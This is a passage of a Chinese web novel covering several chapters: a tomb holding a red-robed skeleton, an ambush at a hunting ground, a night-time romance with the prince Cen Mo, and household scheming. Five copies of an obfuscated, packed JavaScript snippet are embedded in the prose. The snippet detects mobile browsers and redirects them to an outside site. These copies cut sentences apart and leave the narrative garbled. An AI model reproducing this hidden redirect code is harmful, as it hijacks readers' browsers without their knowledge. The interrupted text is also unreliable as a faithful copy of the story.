萧语柔看着她这副模样,不由得摇头轻笑。手腕上的玉璧忽然传来一丝温热,她下意识地摸了摸,若有所思。 “这里应该是人工开凿的。”萧语柔抬头观察着洞壁,“石壁上有明显的凿痕,而且很整齐。” 岑燕燕顺着她的目光看去,果然发现石壁上布满了规则的痕迹。她伸手摸了摸,“确实,而且看年头不短了。” “我们往前看看吧。”岑燕燕指着洞穴深处,“那边似乎还有其他出口。” 萧语柔点点头,从空间里取出一颗月光石。柔和的光芒立刻驱散了周围的黑暗,将石壁上斑驳的痕迹照得清清萧萧。 “哎呦,你这准备得可真周到。”岑燕燕笑嘻嘻地说,“不愧是神医传人。” 两人沿着洞穴往前走,空气中弥漫着一股淡淡的潮湿气息。石壁上偶尔能看到一些奇怪的符号,但都已经模糊不清。 忽然,岑燕燕停下脚步,伸手拦住萧语柔。“等等。” 前方不远处有一张石床,上面躺着一团红色的影子。更诡异的是,萧语柔手腕上的玉璧突然剧烈发烫,光芒大作。 “有人!”岑燕燕立即挡在萧语柔身前,警惕地盯着前方。她从腰间抽出一把**,做好了战斗准备。 就在这时,一股若有若无的香气飘来。岑燕燕还没来得及开口提醒,就觉得头晕目眩,身子一软,倒在了地上。 “棠棠!”萧语柔赶紧扶住她,检查了一下,发现只是昏迷。她从空间里取出被子,将岑燕燕安置好,这才小心翼翼地向石床走去。 随着距离的拉近,那团红色的影子逐渐清晰。萧语柔这才发现,这哪里是什么人,分明是就一具枯骨。只是那具骨骸身上还穿着鲜艳的红衣,乌黑的长发依然完好,四肢被沉重的铁链锁住。 红衣依旧如新,却透着说不出的诡异。那乌黑的长发更是令人心惊,在这样的环境下竟能保持完好,实在不合常理。 突然,灵医宝典自动从萧语柔怀中飞出,悬浮在尸骨上方。书页不停翻动,发出轻微的响动,仿佛在诉说着什么悲伤的往事。 萧语柔能感受到灵医宝典的悲伤,这种情绪如此强烈,让她的心也跟着揪了起来。她轻轻抚摸着书页,试图安抚这本神奇的医书。 “我明白了。”萧语柔轻声说,“我会给您一个安息之所。” 灵医宝典的书页渐渐停止翻动,重新回到她手中。萧语柔对着尸骨深深一拜,转身出去寻找合适的安葬之处。 洞穴外不远处,有一片开满红色虞美人的地方。阳光透过树桂的缝隙洒下,将花朵映照得如同燃烧的火焰。萧语柔觉得,这里就是最好的安息之所。 她小心翼翼地挖好墓穴,将尸骨安放其中。奇怪的是,那些看似沉重的铁链,竟然轻易就脱落了,仿佛它们的任务已经完成。 “前辈安息。”萧语柔轻声说完,准备离开。 这时灵医宝典又飞了出来,指引她回到石床边。在床下的角落里,萧语柔发现了一本破旧的书册和一个精致的玉扣。 当她看清玉扣上“赠吾儿岑陌”的字样时,不由得倒吸一口冷气。手中的玉扣突然变得无比沉重,仿佛承载着某个不为人知的秘密。 难道,难道这具尸骨是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481845|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ......岑陌的生母洛氏? 正想着,身后传来岑燕燕的声音:“萧姐姐,这是什么地方?” 萧语柔连忙将东西收好,转身看到岑燕燕揉着太阳穴走来。“你感觉怎么样?” “头还有点晕。”岑燕燕皱着眉,“刚才那股香气很奇怪。” 萧语柔简单说明了情况,“这地方不简单,我们得小心行事。” 两人离开山洞,发现外面竟是一片猎场。茂密的树林中时不时传来野兽的叫声,空气中弥漫着草木的清香。 岑燕燕很快就来了精神,取出随身携带的弓箭。“难得碰到这么好的猎场,不如我们打几只野味?” 萧语柔本想劝她,但看她兴致勃勃的样子,也就随她去了。没一会儿,岑燕燕就猎到了几只山鸡和野兔。 天色渐暗,萧语柔总觉得不安。空气中弥漫着一股若有若无的杀气,让她心神不宁。手腕上的玉璧也在微微发烫,似乎在提醒着什么。 “郡主,当心!” 话音未落,一个黑衣人从暗处扑出。岑燕燕反应极快,用弓箭格挡,将对方击退。但黑衣人身手矫健,转瞬间又欺身而上。 萧语柔手中银针飞出,正中那人要害。黑衣人闷哼一声,踉跄后退。 还未来得及喘息,又是一阵破空之声。这次不等她们动手,就见几道人影重重摔在地上。 一个熟悉的身影从树林中走出,手中长剑染血,面容冷峻如霜。月光下,那人的眼神锐利如刀,周身散发着凛冽的杀气。 岑陌缓步走来,剑尖滴落的血珠在地上留下一串暗红的痕迹。他的目光在岑燕燕和萧语柔身上扫过,最后定格在萧语柔手中若隐若现的玉扣上。 空气仿佛在这一刻凝固。 第九十章 意外 三皇兄居然能走了? 这个念头刚在心头闪过,萧语柔就看到了更令她震惊的一幕。 三皇兄岑陌的剑法竟如此凌厉,一剑封喉,干净利落。剑锋所向,寒光乍现,鲜血飞溅,那具尸体甚至来不及发出一声惨叫就倒在了地上。这与传闻中那个文弱病秧子的形象,简直判若两人。 萧语柔愣在原地,脑海中不断闪现着方才那惊心动魄的一幕。她记得很清萧,三皇兄的腿伤极重,即便用了骨碎补和灵医宝典的药丸,按理说也该静养半年才是。可眼前这个持剑而立的身影,哪里还有半分病弱之态? “过来。”岑陌的目光在她身上扫过,声音冷得像冰。 萧语柔心虚地咽了咽口水,目光却不由自主地落在他雪白长袍上那些刺目的血迹上。那些暗红色的痕迹,就像是在洁白的画卷上肆意泼洒的墨迹,刺得她眼睛生疼。 “殿下不该来的,您的腿伤......”她轻声说着,声音中带着难以掩饰的心疼。话说到一半,却又说不下去了。 岑陌看着她欲言又止的模样,眸色渐深。这丫头,老是这么拿命开玩笑,却偏偏对别人的伤势如此上心。 他快步走到萧语柔面前,俯身靠近她耳边,声音阴沉:“忘了我说过的话吗?” 温热的气息喷在耳畔,萧语柔只觉得脖子都跟着发烫。她下意识地想要后退,却被他一把扣住了手腕。 “知道啦......”她故作镇定,声音却软得不像话。 岑陌感受到胸腔中那颗心又开始不受控制地狂跳。看着小姑娘强装镇定的模样,连睫毛都在微微颤抖,他心中的怒意竟不知不觉散了大半。 她的目光不经意间瞥向地上那枚沾满泥土的玉扣,又想起那具红衣枯骨。这其中,定有什么隐情。可是现在的她,还没有资格知道这些。 “今晚,我会去找你。”岑陌的唇角微微上扬,却在对上她的视线时又恢复了冷漠。 说完,他冷冷地看了眼岑燕燕。那眼神中的警告意味不言而喻。 岑燕燕被那眼神看得脊背发凉,尤其是看到他手中那柄还在滴血的长剑。她不由自主地往后退了一步,心跳如擂鼓。 岑陌很快带着萧瑾消失在林中,仿佛从未出现过一般。只留下地上那具尸体和散落的玉扣,无声地诉说着方才发生的一切。 钱忠这时才姗姗来迟,带着一队玉麟卫赶到。马蹄声打破了林中的寂静,惊起一群飞鸟。 “找到了!”他翻身下马,快步走来。身后的玉麟卫们四下散开,警惕地戒备着四周。 见两人除了衣裳脏乱,并无大碍,他松了口气:“这是禁区,你们咋敢闯进来?难怪找了半天。” 岑燕燕这才明白岑陌方才那意味深长的眼神。她看了眼四周,这里确实与寻常的猎场不同。树木更为高大茂密,空气中似乎还飘荡着一丝若有若无的檀香。 “都怪我追着兔子跑,把语柔也带进来了。”她连忙说道,生怕被人发现什么端倪。 萧语柔这回倒没反驳,私闯皇家禁地的罪名,她可担不起。何况方才发生的事,更不能让人知道。 “没事就好,快回去吧。”钱忠说着,又压低声音,“我帮你搞到了一堆好东西,保管能让你拿第一。” 萧语柔没想到钱忠会这样帮她:“多谢。” “小事,你救了我哥一命,我能说啥。”钱忠得意地挺起胸膛,一副小人得志的模样。 岑燕燕指着地上的猎物:“钱四,帮忙把这些带出去呗。” 钱忠看着那一长串猎物,脸色变得很是复杂。那些兔子、野鸡,甚至还有一只狐狸,数量之多,让他准备的那些猎物相形见绌。 岑燕燕还在一旁火上浇油:“钱四,你准备了多少猎物给我们啊?总不会比这些少吧?” “不会不会,钱四公子这么厉害,怎么会输给我们两个弱女子?”萧语柔也跟着打趣道。 钱忠被她们烦得不行:“五妹妹,让我在前头替你探路。”说完就骑马跑了,留下一串尘土。 岑燕燕也抢了匹马追上去,气得钱忠大骂:“岑燕燕,若是我再出手相救,我就是小狗!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481846|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回到营地时,天色未暗,篝火已经升起。火光映照着众人的脸庞,忽明忽暗。 萧语柔一眼就看到了站在皇帝身边的穆秋煜。他穿着一身月白色的长袍,在火光的映照下,整个人显得格外清雅出尘。 他时不时与皇帝低声交谈,举手投足间尽是优雅从容,哪里还有一个普通御医的样子。那双漆黑如墨的眼眸中,似乎藏着无数秘密。 察觉到她的目光,穆秋煜转头看来。四目相对的瞬间,萧语柔感觉自己的心跳漏了一拍。 那眼神太过缱绻,看得萧语柔心底发寒。她不由自主地想起了禁地中的那具红衣枯骨,还有那枚沾满泥土的玉扣。 好在皇上很快出声打破了这尴尬:“总算让我逮着你们了,今日出的风头不小啊。” 雅贵妃也笑着说:“郡主又调皮捣蛋了吧,澜宁向来最是乖巧。”她的声音柔和,却带着一丝若有若无的讽刺。 萧语柔听出她话中有话,眼神微暗。这是在暗指上午她承认打赵婷,真相是给赵王府当了背锅侠? “谢娘娘夸赞。”她浅笑道,“话说今天的收获,大多是我猎的,可不能把功劳都记在郡主头上。” 皇上大笑:“就棠棠那箭法,自然是占了你的便宜。你医术好,想必用药制住几只兔子也不难吧。” “臣女在润州时,跟后厨学过设陷阱。若是撒药,小女子担心被风刮到,药都进了自己鼻子里。”萧语柔笑道。 这番话说的真是滴水不漏,惹得众人都笑了起来。笑声中,那些暗藏的机锋似乎也消散了。 皇帝也不再追问,准了她的头名,饶过那三十板子。 穆秋煜望着她离去的背影,眸色渐深。火光在他眼中跳动,仿佛要将那抹倩影永远刻在心底。 夜色渐深,营地中的喧闹声渐渐平息。萧语柔站在帐篷外,望着天上的明月,心中却想着那个说要来找她的人。 禁地中的秘密,三皇兄的伤势,穆秋煜的身份,还有那具红衣枯骨......这些谜团,究竟该从何处理清? 第九十一章 营帐(一) 萧语柔独自坐在营帐内,望着窗外渐暗的天色,心中思绪万千。帐外传来士兵巡逻的脚步声,远处隐约可闻号角低鸣,这些声响让她想起了初到龙都时的自己。 那时的她,父母双亡,弟弟又在启程前夭折,打击接踵而至让她变得敏感胆怯。每个夜晚,她都会被噩梦惊醒,浑身冷汗,独自蜷缩在床榻上,直到天明。 营帐内的烛火摇曳,在帘幕上投下斑驳的影子。萧语柔伸手拢了拢披风,秋夜的寒意悄然渗入骨髓。她取出随身携带的药包,轻轻嗅了嗅,那熟悉的药香让她稍感安心。 “县主,焦大人求见。”帐外传来侍卫低沉的声音。 萧语柔眉头微蹙,手指无意识地摩挲着药包:“我已歇下。” 对穆秋煜的突然造访她感到很不适,尤其是今日在他眼中看到的那抹异样神色,既熟悉又陌生。 夜色渐深,营帐内飘来一阵清冷的松柏香气,夹杂着淡淡的药味。萧语柔正欲起身添香,帐帘忽然被人掀开。 “殿下...”她刚开口,双唇便被堵住。 岑陌的吻带着惩罚意味,直到她浑身发软才松开。他的呼吸略显粗重,眼底闪烁着危险的光芒。 “阿柔这么想我?”他将她抱在怀里,目光幽深。温热的呼吸拂过她的耳畔,激起一阵细小的战栗。 萧语柔这才发现自己正紧抓着他的衣襟,露出了他结实的胸膛。她看得有些出神,岑陌身材虽消瘦,但也是脱衣有肉的类型,可他身上却有着一道道狰狞的伤痕。那些伤痕诉说着他的过往,每一道都深深刻在她心里。 “你若想要...”岑陌低沉的声音在她耳边响起,带着蛊惑的意味。 “我没有!”萧语柔慌忙否认,耳尖泛起一抹红晕。她想要挣脱他的怀抱,却被他搂得更紧。 “是吗?”他懒懒靠在椅背上,将她拉近。灼热的体温透过衣衫传来,让她心跳加速。 萧语柔能听到他剧烈的心跳声,忍不住伸手探向他的手腕,又看了看他的双腿。见他恢复得如此之快,她暗自松了口气,却又担心他是否强撑。 “殿下为何深夜来访?”她轻声问道,试图转移话题。 “来**。”他淡淡道,语气中带着几分漫不经心。 想起白日里他杀敌时的从容,萧语柔竟觉得这话并不可怕。那时的岑陌,宛如出鞘的利剑,锋芒毕露却又优雅至极。 “阿柔不怕我?”他的手指轻轻抚过她的脸颊,带着几分试探。 “殿下所杀,皆是该死之人。”她顿了顿,“可我俩还没有完婚,是否该避嫌?” “若你不喜,我便放手。”岑陌的声音突然冷了下来。 萧语柔听出他话中暗藏的威胁之意,不由暗叹。她本不欲嫁他,却不知何时已深陷其中。那些暗夜里的温存,那些战场上的守护,都在悄然间编织成了一张温柔的网。 她在他怀中找了个舒适的位置,将今日所见所闻娓娓道来。从王虎、柳华之事,到洛阳米价异常的发现。说到动情处,她的声音带着几分愤慨。 “那些贪官污吏,竟敢趁机抬高米价,百姓们都快揭不开锅了。”她握紧拳头,“我今日去市集查看,有户人家的孩子饿得直哭,那妇人却只能喂些稀粥...” 岑陌静静听着,手指有一下没一下地梳理着她的长发。他知道她心软,可正是这份柔软,让他忍不住想要守护。 说着说着,疲惫涌上心头,她在他温暖的怀抱中沉沉睡去。长长的睫毛在脸上投下阴影,呼吸绵长而均匀。 岑陌凝视着怀中的人儿,月光透过窗棂洒在她脸上,衬得她愈发柔弱动人。他的目光描摹着她的轮廓,从秀气的眉峰到微抿的唇角。 他收紧双臂,内心翻涌着疯狂的占有欲,想将她永远锁在身边。瞧她睡得如此安详,他又强压下心中的躁动。那些暴戾的念头在她面前总是不堪一击。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481847|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“阿柔,控制欲望这种事情我做不来。”他在她耳边低语,声音沙哑。 夜深人静,营帐外传来虫鸣声。岑陌轻轻为她掖好被角,目光落在案几上的药包上。那是她特意为他配制的,每一味药材都经过精心挑选。 他想起初见时的她,像只受惊的小鹿,躲在人群后面偷偷打量他。谁能想到,那个胆怯的姑娘如今已能在战营中游刃有余,甚至敢和他顶嘴。 萧语柔是被炙热的吻惊醒的,她不满地瞪着岑陌,眼中还带着朦胧的睡意。 “还想要吗?”他笑问,目光落在她微启的唇上。 她这才发现自己的手正贴在他赤裸的腹部上,触手之处是紧实的肌肉。羞赧之意瞬间涌上心头,她慌忙缩回手。 “我、我真不是有意为之...”她支支吾吾地解释,脸颊烫得厉害。 “我知道。”岑陌将她揽入怀中,语气宠溺,“睡吧。” “殿下不回去?”她小声问道,心跳如鼓。 “阿柔不是想要我吗?”他反问,见她欲言又止的模样,轻轻拍着她的背,“放心,成亲前我不会碰你。夜深了,我腿疼,想歇会儿。” 萧语柔又是心疼又是歉意,终是默许了他同床共枕。她能感受到他身上传来的温度,还有那若有若无的药香。 这一夜她睡得格外安稳,往日缠绕的噩梦竟一次未现。岑陌的呼吸声成了最好的安眠曲,让她在这陌生的战营中找到了归属感。 天将明时,岑陌轻手轻脚地起身。他俯身在她额头落下一吻,眸中闪过一抹柔情。 “阿柔,等我回来。” 他的声音很轻,轻得像是怕惊醒她的美梦。转身时,他的目光变得凌厉。今日要处理的事情还有很多,而她给他提供的线索,正好可以派上用场。 萧语柔在睡梦中翻了个身,嘴角带着浅浅的笑意。她做了一个梦,梦里有个温暖的怀抱,还有那个人低沉的声音。 第九十二章 营帐(二) 萧语柔睁开眼,下意识地望向床边空荡荡的位置,一时恍惚。昨夜的梦境还萦绕在脑海,那些纷乱的画面如同破碎的镜子,映照出她内心深处的不安。 “县主醒了。”宫女轻声唤道,手中端着描金的铜盆和洗漱用具,“太后娘娘让您用完早膳去她那儿。” 萧语柔这才想起昨日谢公公的话,起身时微微皱眉,昨夜的寒意似乎还未散去。她任由宫女为她梳妆打扮,目光落在铜镜中那张略显疲惫的脸上。 “今日的妆容要淡些。”她轻声吩咐。 宫女应声,手法轻柔地为她梳理着青丝。萧语柔望着镜中的自己,思绪不由得飘向远方。自从进了宫,每一步都如同走在刀尖上,一个不慎就会万劫不复。 换好衣裳后,她跟着宫女出了门。秋意渐浓,晨风中裹挟着凉意,她不由得裹紧了锦缎外衫。走着走着,周围的景色却越发陌生,宫女的脚步也开始变得迟疑。 “昨夜就是你吧。”萧语柔停下脚步,声音冷若寒冰。 那宫女身子一颤,低头退下,一个熟悉的身影从假山后缓步走出。 “柔儿。”穆秋煜唇角带着温和的笑意,眼底却藏着几分晦暗不明的情绪。 “穆表哥。”萧语柔往后退了几步,语气淡漠如水,“这般设计,不怕惹人非议?” 穆秋煜向前一步,目光灼灼:“你现在这般疏离,真让我心痛。从小到大,我可曾亏待过你半分?” 萧语柔冷笑一声,指尖微微发颤:“亏待?穆表哥这话说得可真是讽刺。那日在马车上的事,表哥难道忘了?” “那日是我一时糊涂。”柔儿,你可愿意相信我最后一次?”穆秋煜眼中闪过一丝懊悔。 “肚兜的事,我已经在着手处理。”见她不语,他又补充道。 “不必了,这事我自会解决。倒是四姐姐那边,表哥还是多费些心思吧。”萧语柔眸光冷冷说到。 说完转身欲走,穆秋煜伸手想要拉住她,却在半空中停住。他望着萧语柔决绝的背影,眼中闪过一丝执念。 走到人多处,一个熟悉的声音传来:“县主来得正好,太后正等着用早膳呢。” 萧语柔抬眼,是太后身边的兰梨妈嬷。 “怎么又劳烦嬷嬷来请?”萧语柔意有所指地问道。 嬷嬷眼中精光一闪:“可是还有人来请过县主?” “是服侍我的宫女,只是她带错了路,半途说肚子疼就走了。”萧语柔不动声色地说道,语气中带着几分无奈。 兰梨妈嬷若有所思地点点头,将她引到太后营帐前,转身便去查那宫女的事。 营帐内陈设华贵,处处彰显皇家气派。檀香袅袅,茶香四溢。 “臣女萧语柔,向皇太后行礼问安。”她屈膝行礼,姿态端庄。 “过来坐。”太后笑着招手,目光慈祥,“这些日子辛苦你了。” 一顿早膳摆上,萧语柔却食不知味。她能感觉到太后时不时投来的目光,那目光仿佛能看透人心。 “听说你们在西陲遇到墨王了?”太后状似随意地问道。 “臣女并未见到,只是听说他出现过。”萧语柔谨慎回答,手中的筷子微微一顿。 “这小王爷可是老皇帝的心头肉。”太后意味深长地说,“可惜...”她话说一半便停住了。 萧语柔低眉不语,她深知这其中牵扯的皇室恩怨。墨王当**,至今仍是朝堂上的禁忌。 “蓬莱玉珊已经找到了,”皇太后优雅地抬起茶杯,暗中观察萧语柔的反应,“你还记得哀家之前托你的事吧?” “臣女记得。”萧语柔脸上露出恰到好处的喜悦,“能为太后分忧,是臣女的福分。” “好孩子,”太后满意地点头,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481848|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你先带回侯府吧,到时候哀家会让兰梨妈嬷去寻你。” 接到皇太后圣谕,萧语柔向岑燕燕告别。临走时,岑燕燕拉住她的手,欲言又止。 “放心,我没事。”萧语柔轻声安慰。 山脚下,紫萱和萧瑾正焦急等待。萧瑾板着脸,用眼神无声地责备她的冒险。 “去芷兰坊买点心。”萧语柔笑道,知道这是安抚弟弟最好的方法。 萧瑾的脸色顿时好了许多,乖乖坐到车夫旁边。那车夫被这位小爷的气势吓得手抖个不停,好不容易才稳住缰绳。 赵婷追下来时,只看到远处一个小黑点。她想喊,却发不出声音。昨晚和岑燕燕打架后,她的嗓子就出了问题。本以为休息一晚就好,没想到现在还是哑着。 她气冲冲往山上走,不料撞上了人。眼看要摔倒,一只手及时扶住了她。 微风拂过,白花纷飞如雨。赵婷看着穆秋煜清雅的面容,闻着他身上淡淡的药香,脸不由得红了。她慌乱地低下头,心跳如鼓。 穆秋煜扶她站稳,目光却望向萧语柔离去的方向,眼底闪过一丝复杂的情绪。 马车缓缓驶离山脚,萧语柔靠在车窗边,望着渐渐远去的宫墙。她从怀中取出一个小荷包,里面装着的正是那株蓬莱玉珊。 “这一局,究竟谁是棋子,谁是下棋人?”她喃喃自语,眼底浮现出一丝迷茫。 紫萱坐在她对面,担忧地看着自家主子。这些日子,她看着萧语柔日渐消瘦的面容,心中不免忧虑。 马车在龙都街道上缓缓前行,两旁店铺热闹非凡。萧瑾趴在车夫旁边,眼巴巴地望着街边的糖人摊子。 “停一下。”萧语柔吩咐道。 她知道,接下来的日子只会更加艰难。但此刻,她只想让弟弟开心一会儿。至于那些纷争,那些算计,就让它们暂时沉睡片刻吧。 第九十三章 回侯府 穆秋煜松开搀扶赵婷的手,神色淡然地退后一步。暮色渐沉,庭院里的梨花随风飘落,在两人之间织就一道朦胧的帘幕。 赵婷欲言又止,喉间传来一阵刺痛,提醒着她暂时失声的事实。她只得无奈地摇了摇头,纤细的手指轻轻抚上喉咙。 “姑娘好生休养。”穆秋煜微微颔首,声音温和却疏离。他转身时,腰间金镯突然坠地,发出清脆的声响。白玉在青石板上滚动几圈,最终停在赵婷脚边。 “小姐,奴婢这就去将金镯还给焦大人。”丫环眼疾手快地弯腰拾起金镯,裙摆带起一阵风,卷起地上的落花。 赵婷猛地伸手,一把夺过金镯,狠狠瞪了丫环一眼。她望着穆秋煜渐行渐远的背影,心跳不由自主地加快。金镯温润如水,她的指尖轻轻摩挲着上面细密的纹路,仿佛能触碰到他留下的余温。 夕阳将他的影子拉得很长,投射在青石板路上,与两旁的梨花树影交织在一起。虽然早就听桂婉柔提起过这位气质出众的表哥,但亲眼相见,却让她生出前所未有的悸动。 待那道身影消失在回廊尽头,穆秋煜嘴角勾起一抹冷笑。他加快脚步,朝山下走去。山路崎岖,脚下的碎石不时滚落,发出细碎的声响。 远处传来隐约的马蹄声,一队商队正缓缓驶过山脚。穆秋煜停下脚步,目光落在商队中那辆装饰华丽的马车上。车帘被风掀起一角,隐约可见一抹红色的衣角。 他眯起眼睛,手指无意识地摩挲着另一枚金镯。这是他唯一能确定的线索,关于那个雨夜,关于那具红衣女尸。 萧语柔买完点心回到侯府时,已是傍晚时分。庭院里的花香混合着晚风,带来一丝凉意。她发现龙都里关于桂婉柔的流言已经平息,但这种表面的平静下,暗流涌动。人们不再议论,却在心底认定了桂婉柔的不检点。 毕竟,堂堂侯府嫡女,若非品行有亏,怎会甘愿下嫁墨凌霄那样的人物?这个问题像一根刺,深深扎在龙都贵族们的心里。 桂婉柔对此心知肚明。每次出现在众人面前,都是一副萧萧可怜的模样。她生得美,这般姿态更是激起旁人怜惜之心。但萧语柔却在她眼底看到了不易察觉的算计。 “小姐,您看。”紫萱指着前方,压低声音道,“四小姐又在装可怜了。” 桂婉柔正站在回廊下,手中握着一方帕子,眼圈微红。见到萧语柔,她突然开口:“五妹妹,你满意了吗?”语气里带着几分咄咄逼人。 萧语柔神色平静地看着她:“四姐姐这话,我不太明白。”她注意到桂婉柔的手在微微发抖,显然是在强忍着怒气。 桂婉柔心中暗恨。那些流言分明是在她告知萧语柔肚兜之事后传开的,萧语柔怎能装作一无所知?她强压怒气,声音带着哽咽:“是啊,五妹妹向来什么都不明白。我不该窥探你的隐私。但你放心,不管你多不喜欢我这个姐姐,我始终把你当亲妹妹看待。你的事,我不会说出去的。” 说完,她转身跑开,留下一串凌乱的脚步声。裙摆翻飞间,露出她脚上那双绣着牡丹的绣鞋,沾了些许泥土。 紫萱听得直皱眉:“小姐,四小姐这是明摆着要把事情捅出去啊。她说这话时的表情,分明就是在威胁。” “无妨。”萧语柔轻声道,“她不动手,我也会让她出手。”她望着桂婉柔离去的方向,眼中闪过一丝深思。那双沾了泥的绣鞋,说明桂婉柔今日去过后院的泥地。而后院,正是幽窖的所在。 回到房中,萧语柔取出从幽窖中得到的残破古籍。她小心翼翼地清理上面的泥土,隐约可见封面上写着“灵医宝典”四个大字。字迹已经模糊,但依稀能看出是用金粉所书。 翻开内页,是一些残缺不全的药方。纸张已经泛黄,边缘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481849|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处有些许烧灼的痕迹。看到完结那刻,只留下一句话:“大道五十,天衍四九,人遁其一。” 她的手腕突然一热,玉璧似有所感应。一道微弱的金光闪过,照亮了古籍上的字迹。萧语柔若有所思地看着手中的古籍,虽然这本书处处透着诡异,但作为一个重生者,她早已习惯了这些超出常理的事。 “我一定会查清真相。”她轻声说道,手指轻轻抚过那行字迹。 话音刚落,古籍仿佛得到安抚,重新归于平静。金光消失,房间里只剩下烛火摇曳的光芒。 萧语柔决定从宫中的杨贵妃入手调查。青霜月光石与杨贵妃有关,幽窖中那具红衣女尸也来自宫中,而且同样拥有青霜月光石,这绝非巧合。所有的线索都指向宫中那位神秘的贵妃。 让萧瑾打探杨贵妃的消息,却发现关于这位贵妃的记载少之又少。宫中的老人说,她曾经极受宠幸,常在御梅园赏梅。后来突然就杳无音信,仿佛人间蒸发。 “小姐为何突然对杨贵妃感兴趣?”梨竹放下手中的卷宗,疑惑地问道。烛光下,他的脸庞显得格外严肃。 “派人去润州查查。”萧语柔没有直接回答,而是转而问道,“穆秋煜的事查得如何?” 梨竹的回答令她心惊。那次大病醒来后的穆秋煜判若两人,性情大变,疑心病重。他变得沉默寡言,眼神阴郁。甚至因一只闯入房中的猫,就将去捉猫的丫环打得半死。这与之前温和儒雅的形象截然不同。 萧语柔立刻唤来萧瑾。后者低着头,手指绞着衣角,将那日的事和盘托出:“是桂婉柔推了他一把,他撞在石头上......” 萧语柔心中一震。她能重生,穆秋煜为何不能?难怪在猎场相见时,他给她一种既熟悉又陌生的感觉。她望向窗外,月光如水,洒在院中的梨花上。一切都显得那么安静,却又暗藏汹涌。 第九十四章 圆智大师 暮色渐沉,院中的梨花随风飘落,零星几片落在窗台上。 林婆子笑眯眯地端着茶盏进来,那殷勤的模样让萧语柔挑了挑眉。她看着林婆子忙前忙后的样子,心知必有要事。往日里这老妇人可不会这般殷勤,定是府中又起了什么风波。 “这茶是新进的龙井,小姐尝尝可还对胃口?”林婆子将茶盏轻轻放在桌上,眼神不住地往萧语柔脸上瞟。 萧语柔慢条斯理地拈起茶盏,淡淡开口道:“府中又出什么事儿了?” “小姐果真是明察秋毫。”林婆子立刻凑近了些,压低声音道,“今儿下午月姨娘那边闹了场大的。” 萧语柔轻轻吹了吹茶水上漂浮的茶桂,示意她继续说下去。 “是萧菱小姐又惹祸了。”林婆子仔细观察着萧语柔的神色,见她面色如常,这才继续道,“月姨娘让人做了红心酥,谁知送点心的丫鬟走到听竹轩,就被萧菱小姐给截住了。” “哦?”萧语柔眸光微动,“截住了?” “可不是。”林婆子连连点头,脸上露出几分唏嘘,“那丫鬟说是走错了路,要回去,萧菱小姐非说点心是给她的。丫鬟不从,她就动起手来,把人家脸都划破了。” 萧语柔放下茶盏,指尖轻轻摩挲着杯沿:“然后呢?” “最要紧的是,侯爷正在月姨娘房里。”林婆子叹了口气,语气里带着几分惋惜,“月姨娘一见丫鬟那模样,当场就哭晕过去,说是动了胎气。” 萧语柔轻笑一声,眼底闪过一丝讥诮。 春蝶这招确实高明。先是让丫鬟“误入”听竹轩,再借萧菱暴躁的性子设局,最后借着有孕在身博取同情。这一套连招打得漂亮,萧菱这次怕是要吃大亏了。 “舅舅怎么说?”她问道。 林婆子正要回答,外头突然传来通报声:“萧二小姐求见。” 萧语柔看了眼坐立不安的林婆子:“让她进来。” 萧柔走进来时,眼眶还是红的。她向来是个美人,此刻梨花带雨的模样愈发显的楚楚可怜。素白的裙裾沾了些泥渍,想必是匆忙赶来的。 